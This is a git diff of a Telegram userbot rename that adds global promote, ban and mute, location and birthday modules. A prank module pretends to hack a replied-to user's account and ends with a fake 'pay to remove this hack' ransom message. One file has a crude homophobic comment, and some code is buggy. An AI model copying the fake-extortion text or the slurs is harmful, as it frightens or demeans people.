event.reply_to_msg_id: previous_message = await event.get_reply_message() - reply_msg_id = previous_message.id + previous_message.id await edit_or_reply( event, - current_time, + current_time, ) diff --git a/fridaybot/modules/git.py b/virtualuserbot/modules/git.py similarity index 95% rename from fridaybot/modules/git.py rename to virtualuserbot/modules/git.py index af95491c..c25e5175 100644 --- a/fridaybot/modules/git.py +++ b/virtualuserbot/modules/git.py @@ -2,7 +2,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @borg.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/fridaybot/modules/gitcommit.py b/virtualuserbot/modules/gitcommit.py similarity index 100% rename from fridaybot/modules/gitcommit.py rename to virtualuserbot/modules/gitcommit.py diff --git a/fridaybot/modules/github.py b/virtualuserbot/modules/github.py similarity index 89% rename from fridaybot/modules/github.py rename to virtualuserbot/modules/github.py index 2ffc05fc..f4eb9484 100644 --- a/fridaybot/modules/github.py +++ b/virtualuserbot/modules/github.py @@ -2,8 +2,8 @@ Syntax: .github USERNAME""" import requests -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @borg.on(friday_on_cmd("github (.*)")) diff --git a/fridaybot/modules/gizoogle.py b/virtualuserbot/modules/gizoogle.py similarity index 97% rename from fridaybot/modules/gizoogle.py rename to virtualuserbot/modules/gizoogle.py index 546e47cf..c491e8d2 100644 --- a/fridaybot/modules/gizoogle.py +++ b/virtualuserbot/modules/gizoogle.py @@ -4,7 +4,7 @@ import requests from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="giz ?(.*)")) diff --git a/fridaybot/modules/glitch.py b/virtualuserbot/modules/glitch.py similarity index 96% rename from fridaybot/modules/glitch.py rename to virtualuserbot/modules/glitch.py index eeebd14e..818a7722 100644 --- a/fridaybot/modules/glitch.py +++ b/virtualuserbot/modules/glitch.py @@ -16,8 +16,8 @@ from glitch_this import ImageGlitcher from telethon.tl.types import MessageMediaPhoto -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd glitcher = ImageGlitcher() DURATION = 200 # Set this to however many centiseconds each frame should be visible for diff --git a/fridaybot/modules/google.py b/virtualuserbot/modules/google.py similarity index 89% rename from fridaybot/modules/google.py rename to virtualuserbot/modules/google.py index dfc211af..d7cb9790 100644 --- a/fridaybot/modules/google.py +++ b/virtualuserbot/modules/google.py @@ -2,13 +2,13 @@ from search_engine_parser import GoogleSearch -from fridaybot import CMD_HELP -from fridaybot.utils import register +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import register @register(outgoing=True, pattern=r"^\.gs (.*)") async def gsearch(q_event): - """ For .google command, do a Google search. """ + """For .google command, do a Google search.""" match = q_event.pattern_match.group(1) page = findall(r"page=\d+", match) try: diff --git a/fridaybot/modules/got_memes.py b/virtualuserbot/modules/got_memes.py similarity index 99% rename from fridaybot/modules/got_memes.py rename to virtualuserbot/modules/got_memes.py index 6cc3aeac..07cbc6a2 100644 --- a/fridaybot/modules/got_memes.py +++ b/virtualuserbot/modules/got_memes.py @@ -9,7 +9,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.gotm", outgoing=True)) diff --git a/fridaybot/modules/got_thoughts.py b/virtualuserbot/modules/got_thoughts.py similarity index 99% rename from fridaybot/modules/got_thoughts.py rename to virtualuserbot/modules/got_thoughts.py index 4d0bb28e..ac810098 100644 --- a/fridaybot/modules/got_thoughts.py +++ b/virtualuserbot/modules/got_thoughts.py @@ -11,7 +11,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.gott", outgoing=True)) diff --git a/virtualuserbot/modules/gprod.py b/virtualuserbot/modules/gprod.py new file mode 100644 index 00000000..c605ad03 --- /dev/null +++ b/virtualuserbot/modules/gprod.py @@ -0,0 +1,171 @@ +# made by @danish_00 with sh1vam for DARKCOBRA USERBOT. JUST COPIED TO VIRTUALUSERBOT +# made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam +marculs = 9 +from telethon.tl.functions.channels import EditAdminRequest +from telethon.tl.types import ChatAdminRights, MessageEntityMentionName + +from virtualuserbot import bot as borg + +# made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam +from ..utils import admin_cmd + + +async def get_full_user(event): + args = event.pattern_match.group(1).split(":", 1) + extra = None + if event.reply_to_msg_id and not len(args) == 2: + previous_message = await event.get_reply_message() + user_obj = await event.client.get_entity(previous_message.sender_id) + extra = event.pattern_match.group(1) + elif len(args[0]) > 0: + user = args[0] + if len(args) == 2: + extra = args[1] + if user.isnumeric(): + user = int(user) + if not user: + await event.edit("`Itz not possible without an user ID`") + return + if event.message.entities is not None: + probable_user_mention_entity = event.message.entities[0] + if isinstance(probable_user_mention_entity, MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + user_obj = await event.client.get_entity(user_id) + return user_obj + try: + user_obj = await event.client.get_entity(user) + except Exception as err: + return await event.edit( + "Error... Please report at @Dark_cobra_support_group", str(err) + ) + return user_obj, extra + + +# made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam +global hawk, moth +hawk = "admin" +moth = "owner" + + +async def get_user_from_id(user, event): + if isinstance(user, str): + user = int(user) + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + return user_obj + + +@borg.on(admin_cmd(pattern="gpromote ?(.*)")) +async def gben(userbot): + dc = dark = userbot + i = 0 + await dc.get_sender() + me = await userbot.client.get_me() + await dark.edit("`promoting...`") + my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) + f"@{me.username}" if me.username else my_mention + await userbot.get_chat() + if userbot.is_private: + user = userbot.chat + rank = userbot.pattern_match.group(1) + else: + userbot.chat.title + try: + user, rank = await get_full_user(userbot) + except: + pass + if me == user: + await dark.edit("U want to promote urself 😑😑 waao..") + return + try: + if not rank: + rank = "ㅤㅤ" + except: + return await dark.edit(f"**Something W3NT Wrong 🤔**") + if user: + telchanel = [ + d.entity.id + for d in await userbot.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + rgt = ChatAdminRights( + add_admins=False, + invite_users=True, + change_info=False, + ban_users=True, + delete_messages=True, + pin_messages=True, + ) + for x in telchanel: + try: + await userbot.client(EditAdminRequest(x, user, rgt, rank)) + i += 1 + await dark.edit(f"**Promoted in Chats **: `{i}`") + except: + pass + else: + await dark.edit(f"**Reply to a user you dumbo !!**") + return await dark.edit( + f"**Globally promoted [{user.first_name}](tg://user?id={user.id})\n On Chats😏 : {i} **" + ) + + +@borg.on(admin_cmd(pattern="gdemote ?(.*)")) +async def gben(userbot): + dc = dark = userbot + i = 0 + await dc.get_sender() + me = await userbot.client.get_me() + await dark.edit("`demoting...`") + my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) + f"@{me.username}" if me.username else my_mention + await userbot.get_chat() + if userbot.is_private: + user = userbot.chat + rank = userbot.pattern_match.group(1) + else: + userbot.chat.title + try: + user, rank = await get_full_user(userbot) + except: + pass + if me == user: + await dark.edit("U want to demote urself 😑😑 waao..") + return + try: + if not rank: + rank = "ㅤㅤ" + except: + return await dark.edit(f"**Something W3NT Wrong 🤔**") + if user: + telchanel = [ + d.entity.id + for d in await userbot.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + rgt = ChatAdminRights( + add_admins=None, + invite_users=None, + change_info=None, + ban_users=None, + delete_messages=None, + pin_messages=None, + ) + for x in telchanel: + try: + await userbot.client(EditAdminRequest(x, user, rgt, rank)) + i += 1 + await dark.edit(f"**Demoted in Chats **: `{i}`") + except: + pass + else: + await dark.edit(f"**Reply to a user you dumbo !!**") + return await dark.edit( + f"**Globally Demoted [{user.first_name}](tg://user?id={user.id})\n On Chats😏 : {i} **" + ) + + +# made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam diff --git a/virtualuserbot/modules/gps2.py b/virtualuserbot/modules/gps2.py new file mode 100644 index 00000000..44a72a2e --- /dev/null +++ b/virtualuserbot/modules/gps2.py @@ -0,0 +1,87 @@ +import re + +from geopy.geocoders import Nominatim +from telethon.tl import types + +from virtualuserbot import CMD_HELP, bot + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern="locate ?(.*)")) +async def gps(event): + if event.fwd_from: + return + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + input_str = event.pattern_match.group(1) + + if not input_str: + return await event.edit("what should i find give me location.") + + await event.edit("finding") + + geolocator = Nominatim(user_agent="LOCATER") + geoloc = geolocator.geocode(input_str) + + if geoloc: + lon = geoloc.longitude + lat = geoloc.latitude + await reply_to_id.reply( + input_str, file=types.InputMediaGeoPoint(types.InputGeoPoint(lat, lon)) + ) + await event.delete() + else: + await event.edit("i coudn't find it") + + +IF_EMOJI = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+" +) + + +def deEmojify(inputString: str) -> str: + """Remove emojis and other non-safe characters from string""" + return re.sub(IF_EMOJI, "", inputString) + + +@borg.on(admin_cmd(pattern="map(?: |$)(.*)")) +async def nope(doit): + ok = doit.pattern_match.group(1) + if not ok: + if doit.is_reply: + (await doit.get_reply_message()).message + + return + mappy = await bot.inline_query("openmap_bot", f"{(deEmojify(ok))}") + await mappy[0].click( + doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True, + ) + await doit.delete() + + +CMD_HELP.update( + { + "location finder": "__**PLUGIN NAME :** gps__\ + \n\n📌** CMD ★** `.locate `\ + \n**USAGE ★ **Finds your desired location using geopy...\ + \n\n📌** CMD ★** `.map `\ + \n**USAGE ★ **Uses an inline bot to find your desired location.." + } +) diff --git a/fridaybot/modules/greetings.py b/virtualuserbot/modules/greetings.py similarity index 96% rename from fridaybot/modules/greetings.py rename to virtualuserbot/modules/greetings.py index 4300c4df..0f770f13 100644 --- a/fridaybot/modules/greetings.py +++ b/virtualuserbot/modules/greetings.py @@ -1,34 +1,31 @@ import random +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP GDMORNING = ( - - "May this morning offer you new hope for life! May you be happy and enjoy every moment of it. Good morning!", "A new day has come with so many new opportunities for you. Grab them all and make the best out of your day. Here’s me wishing you a good morning!", "Welcome this beautiful morning with a smile on your face. I hope you’ll have a great day today. Wishing you a very good morning!", "Mornings come with a blank canvas. Paint it as you like and call it a day. Wake up now and start creating your perfect day. Good morning!", "Wake up like the sun every morning and light up the world your awesomeness. You have so many great things to achieve today. Good morning!", - ) GDNIGHT = ( - "Have a very, good night, friend! You are wonderful!", "Friend, you do not hesitate to get things done! Take tonight to relax and do more, tomorrow!", "Rest soundly tonight, friend!", "Good night to a friend who is the best! Get your forty winks!", - "Let there be no troubles, dear friend! Have a Good Night!" - - + "Let there be no troubles, dear friend! Have a Good Night!", ) -GDNOON=( +GDNOON = ( "Good afternoon!", "Forget about yesterday, think about tommorow.. The victory will be yours.", - "Do what you have to do right now.. Good Afternoon." + "Do what you have to do right now.. Good Afternoon.", ) + + @bot.on(admin_cmd(pattern=f"gm$", outgoing=True)) @bot.on(sudo_cmd(pattern="gm$", allow_sudo=True)) async def morning(morning): diff --git a/virtualuserbot/modules/gtools.py b/virtualuserbot/modules/gtools.py new file mode 100644 index 00000000..2bde6e11 --- /dev/null +++ b/virtualuserbot/modules/gtools.py @@ -0,0 +1,278 @@ +# Copyright (C) Midhun KM 2020-2021 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import asyncio + +from telethon.events import ChatAction, NewMessage +from telethon.tl.types import MessageEntityMentionName + +from virtualuserbot import CMD_HELP +from virtualuserbot.function import get_all_admin_chats, is_admin +from virtualuserbot.modules.sql_helper import gban_sql +from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute +from virtualuserbot.utils import friday_on_cmd + + +@friday.on(friday_on_cmd(pattern="gban(?: |$)(.*)")) +async def gbun(event): + await event.edit("**GBanning User**") + sucess = 0 + bad = 0 + user, reason = await get_user_from_event(event) + if not user.id: + await event.edit("`Mention A User To Gban`") + return + if not reason: + hmm_r = "#GBanned" + elif reason: + hmm_r = reason + if user.id == bot.uid: + await event.edit("**I Can't Gban You Master :(**") + return + if gban_sql.is_gbanned(user.id): + await event.edit( + "**This User Is Already Gbanned. No Point In Gbanning Him Again !**" + ) + return + gban_sql.gban_user(user.id, hmm_r) + chat_s = await get_all_admin_chats(event) + if len(chat_s) == 0: + await event.edit( + "**You Need To Be Admin In Atleast 1 Group To Perform this Action**" + ) + return + len_s = len(chat_s) + await event.edit( + f"**GBanning !** [{user.first_name}](tg://user?id={user.id}) **in {len_s} Chats!**" + ) + for stark_s in chat_s: + try: + await event.client.edit_permissions(stark_s, user.id, view_messages=False) + sucess += 1 + except: + bad += 0 + await event.edit( + f"**GBanned !**[{user.first_name}](tg://user?id={user.id}) **in {sucess} Chats!**" + ) + + +@friday.on(friday_on_cmd(pattern="ungban(?: |$)(.*)")) +async def ungbun(event): + await event.edit("**Un-GBanning User**") + sucess = 0 + bad = 0 + user, reason = await get_user_from_event(event) + if not user.id: + await event.edit("`Mention A User To Un-Gban`") + return + if user.id == bot.uid: + await event.edit("**I Can't Un-Gban You Master :(**") + return + if not gban_sql.is_gbanned(user.id): + await event.edit("**This User Is Not Gbanned. No Point In Un-Gbanning !**") + return + gban_sql.ungban_user(user.id) + chat_s = await get_all_admin_chats(event) + if len(chat_s) == 0: + await event.edit( + "**You Need To Be Admin In Atleast 1 Group To Perform this Action**" + ) + return + len_s = len(chat_s) + await event.edit( + f"**Un-GBanning !** [{user.first_name}](tg://user?id={user.id}) **in {len_s} Chats!**" + ) + for stark_s in chat_s: + try: + await event.client.edit_permissions(stark_s, user.id, view_messages=True) + sucess += 1 + except: + bad += 0 + await event.edit( + f"**Un-GBanned !**[{user.first_name}](tg://user?id={user.id}) **in {sucess} Chats!**" + ) + + +@friday.on(ChatAction) +async def starky(event): + if event.user_joined: + hmm = await bot.get_me() + if await is_admin(event, hmm.id): + sadly = await event.get_user() + if gban_sql.is_gbanned(sadly.id): + try: + await event.client.edit_permissions( + event.chat_id, sadly.id, view_messages=False + ) + await event.reply( + f"**#GBanned-User** \nUserID : {sadly.id} \nReason : {gban_sql.is_gbanned(sadly.id)}" + ) + except: + pass + + +@friday.on(NewMessage) +async def mi(event): + sed = event.sender_id + hmm = await bot.get_me() + if event.is_private: + return + if await is_admin(event, hmm.id): + if gban_sql.is_gbanned(sed): + try: + await event.client.edit_permissions( + event.chat_id, sed, view_messages=False + ) + except: + pass + + +async def get_user_from_event(event): + """Get the user from argument or replied message.""" + args = event.pattern_match.group(1).split(" ", 1) + extra = None + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + user_obj = await event.client.get_entity(previous_message.sender_id) + extra = event.pattern_match.group(1) + elif len(args[0]) > 0: + user = args[0] + if len(args) == 2: + extra = args[1] + + if user.isnumeric(): + user = int(user) + + if not user: + await event.edit("`Pass the user's username, id or reply!`") + return + + if event.message.entities is not None: + probable_user_mention_entity = event.message.entities[0] + + if isinstance(probable_user_mention_entity, MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + user_obj = await event.client.get_entity(user_id) + return user_obj + + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + elif event.is_private: + hmm = await event.get_input_chat() + try: + user_obj = await event.client.get_entity(hmm) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + extra = event.pattern_match.group(1) + return user_obj, extra + + +async def get_user_sender_id(user, event): + if isinstance(user, str): + user = int(user) + + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + + return user_obj + + +@friday.on(friday_on_cmd(pattern=r"gmute ?(\d+)?")) +async def startgmute(event): + private = False + if event.fwd_from: + return + elif event.is_private: + await event.edit("Unexpected issues or ugly errors may occur!") + await asyncio.sleep(3) + private = True + reply = await event.get_reply_message() + if event.pattern_match.group(1) is not None: + userid = event.pattern_match.group(1) + elif reply is not None: + userid = reply.sender_id + elif private is True: + userid = event.chat_id + else: + return await event.edit( + "Please reply to a user or add their into the command to gmute them." + ) + event.chat_id + await event.get_chat() + if is_muted(userid, "gmute"): + return await event.edit("`He has Tap Already On His Mouth.`") + try: + mute(userid, "gmute") + except Exception as e: + await event.edit("Error occured!\nError is " + str(e)) + else: + await event.edit("Here A Tape, Now Shutup \nGmuteD") + + +@friday.on(friday_on_cmd(pattern=r"ungmute ?(\d+)?")) +async def endgmute(event): + private = False + if event.fwd_from: + return + elif event.is_private: + await event.edit("Unexpected issues or ugly errors may occur!") + await asyncio.sleep(3) + private = True + reply = await event.get_reply_message() + if event.pattern_match.group(1) is not None: + userid = event.pattern_match.group(1) + elif reply is not None: + userid = reply.sender_id + elif private is True: + userid = event.chat_id + else: + return await event.edit( + "Please reply to a user or add their into the command to ungmute them." + ) + event.chat_id + if not is_muted(userid, "gmute"): + return await event.edit("This user is not gmuted") + try: + unmute(userid, "gmute") + except Exception as e: + await event.edit("Error occured!\nError is " + str(e)) + else: + await event.edit("Successfully ungmuted that person") + + +@command(incoming=True) +async def watcher(event): + if is_muted(event.sender_id, "gmute"): + await event.delete() + + +CMD_HELP.update( + { + "gtools": "**Global Tools**\ +\n\n**Syntax : **`.gmute `\ +\n**Usage :** Gmute User And Delete His Msg.\ +\n\n**Syntax : **`.ungmute `\ +\n**Usage :** UnGmute User And Stops Deleting His Msgs.\ +\n\n**Syntax : **`.gban `\ +\n**Usage :** Gban User And Blow Him From Your Groups\ +\n\n**Syntax : **`.ungban `\ +\n**Usage :** Ugban User." + } +) diff --git a/fridaybot/modules/hack.py b/virtualuserbot/modules/hack.py similarity index 97% rename from fridaybot/modules/hack.py rename to virtualuserbot/modules/hack.py index 7b32817c..11a3b386 100644 --- a/fridaybot/modules/hack.py +++ b/virtualuserbot/modules/hack.py @@ -8,7 +8,7 @@ from telethon.tl.functions.users import GetFullUserRequest from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern=r"hack")) @@ -19,7 +19,7 @@ async def _(event): animation_ttl = range(0, 11) if event.reply_to_msg_id: reply_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(reply_message.from_id)) + replied_user = await event.client(GetFullUserRequest(reply_message.sender_id)) replied_user.user.first_name replied_user.user.username useri_d = event.sender_id @@ -46,8 +46,8 @@ async def _(event): else: await event.edit("U Dumb. Reply to User 🤷") - -@friday.on(friday_on_cmd(pattern=r"thack")) + +@friday.on(friday_on_cmd(pattern=r"thack")) async def _(event): if event.fwd_from: return @@ -57,7 +57,7 @@ async def _(event): idd = reply_message.sender_id if idd == 1035034432: await event.edit("This is My Master\nI can't hack my master's Account") - + else: event = await event.edit("Hacking..") animation_chars = [ @@ -71,7 +71,7 @@ async def _(event): "`Hacking... 52%\n█████████████▒▒▒▒▒▒▒▒▒▒▒▒ `", "`Hacking... 84%\n█████████████████████▒▒▒▒ `", "`Hacking... 100%\n█████████HACKED███████████ `", - f"`Targeted Account Hacked...\n\nPay 69$ To` @InukaASiTH . `To Remove this hack..`", + f"`Targeted Account Hacked...\n\nPay 69$ To` My Master . `To Remove this hack..`", ] animation_interval = 3 animation_ttl = range(11) @@ -80,7 +80,9 @@ async def _(event): await event.edit(animation_chars[i % 11]) else: await event.edit("No User is Defined\n Can't hack account") -@friday.on(friday_on_cmd(pattern=r"whack")) + + +@friday.on(friday_on_cmd(pattern=r"whack")) async def _(event): if event.fwd_from: return @@ -107,8 +109,7 @@ async def _(event): for i in animation_ttl: await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 15]) - - + CMD_HELP.update( { @@ -119,6 +120,5 @@ async def _(event): \n**Function : **__shows an animation of hacking progess bar__\ \n\n**Syntax : **`.wahack reply to a person`\ \n**Function : **__shows an animation of whatsapp account hacking to a replied person__" - } ) diff --git a/fridaybot/modules/hash.py b/virtualuserbot/modules/hash.py similarity index 90% rename from fridaybot/modules/hash.py rename to virtualuserbot/modules/hash.py index 152780bf..857128bb 100644 --- a/fridaybot/modules/hash.py +++ b/virtualuserbot/modules/hash.py @@ -10,14 +10,14 @@ import pybase64 -from fridaybot import CMD_HELP -from fridaybot.events import errors_handler, register +from virtualuserbot import CMD_HELP +from virtualuserbot.events import errors_handler, register @register(outgoing=True, pattern="^.hash (.*)") @errors_handler async def gethash(hash_q): - """ For .hash command, find the md5, sha1, sha256, sha512 of the string. """ + """For .hash command, find the md5, sha1, sha256, sha512 of the string.""" hashtxt_ = hash_q.pattern_match.group(1) hashtxt = open("hashdis.txt", "w+") hashtxt.write(hashtxt_) @@ -62,7 +62,7 @@ async def gethash(hash_q): @register(outgoing=True, pattern="^.hbase (en|de) (.*)") @errors_handler async def endecrypt(query): - """ For .base64 command, find the base64 encoding of the given string. """ + """For .base64 command, find the base64 encoding of the given string.""" if query.pattern_match.group(1) == "en": lething = str(pybase64.b64encode(bytes(query.pattern_match.group(2), "utf-8")))[ 2: diff --git a/virtualuserbot/modules/hbd.py b/virtualuserbot/modules/hbd.py new file mode 100644 index 00000000..100b7664 --- /dev/null +++ b/virtualuserbot/modules/hbd.py @@ -0,0 +1,52 @@ +# By @NOOB_GUY_OP for Dark CObra +# If you steal this without credits You will be the geyest gey ever in the world that you will suck cat's dick. +import asyncio + +from .. import ALIVE_NAME +from ..utils import admin_cmd + +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" + + +@borg.on(admin_cmd(pattern="hbty$")) +async def _(event): + if event.fwd_from: + return + animation_interval = 5 + animation_ttl = range(0, 16) + await event.edit("Starting...") + animation_chars = [ + "**Hello!👋**", + "**How Are You?**", + "[.](http://2.bp.blogspot.com/-WGLaIVbpK6U/WT4sr0LG2TI/AAAAAAAAVX0/1t0F3gECRh4okN6zJzq6fMwQ7dA4Qw8AwCLcB/s1600/happy-birthday-to-you.png)", + "**Wishing you 👈 a 👌 day 🌞 filled 😏 with 👏 happiness and 👏 a 👌 year 🎉 filled 😏 with 👏 joy 😁.**", + "**Sending you 👈 smiles 😀 for every 👏 moment 🏆 of your special 😲 day 🌞*", + "**Have 👏 a 👌 wonderful 😊 time 🕐 and a very 👌 happy 😊 birthday 🎂!**", + "**Count your 👏 life 👤 by 😈 smiles, 😀 not 🚫 tears. 😭 Count your 👏 age 👵 by 😈 friends, 👫 not 🚫 years. 📅 Happy 😊 birthday 🎂!**", + "**I hope 🙏 all 💯 your 👏 birthday 🎂 wishes and 👏 dreams 🔚 come true. 💯**", + "**Another 🔄 adventure filled 😏 year 🎉 awaits you. 👈 Welcome it 💯 by 😈 celebrating 🚫 your 👏 birthday 🎂 with 👏 pomp and 👏 splendor. Wishing you 👈 a 👌 very 👌 happy 😊 and 👏 fun-filled birthday 🎂!**", + "**Happy 😊 birthday 🎂 to someone 👤 who 😂 is smart, 👩 gorgeous, 😍 funny 😄 and 👏 reminds me 😭 a 👌 lot of 💦 myself… from 👉 one 😤 fabulous chick 🐣 to another !**", + "[.](http://www.handletheheat.com/wp-content/uploads/2015/03/Best-Birthday-Cake-with-milk-chocolate-buttercream-SQUARE.jpg)", + "[.](http://i.pinimg.com/originals/49/d2/e3/49d2e318a2705cbd300e21023392ff6f.jpg)", + "Here is also 🎁Gifts🎁 from me👨.", + "[.](http://5.imimg.com/data5/KE/IK/MY-15644577/antique-gold-gift-box-luxury-rigid-box02-250x250.jpg)", + "[.](http://i.pinimg.com/originals/10/b8/fb/10b8fb15270d8db1f6ff967e7026d2de.gif)", + "[.](http://www.lovethispic.com/uploaded_images/367867-Starry-Happy-Birthday-Gif.gif)", + ] + for i in animation_ttl: # By @NOOB_GUY_OP for Dark CObra + + await asyncio.sleep(animation_interval) + await event.edit( + animation_chars[i % 16], link_preview=True + ) # By @NOOB_GUY_OP for Dark CObra + + +@borg.on(admin_cmd(pattern=r"binod ?(.*)")) +async def bid(event): + giveVar = event.text + bid = giveVar[5] + if not bid: + bid = "😂" + await event.edit( + f"{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid} 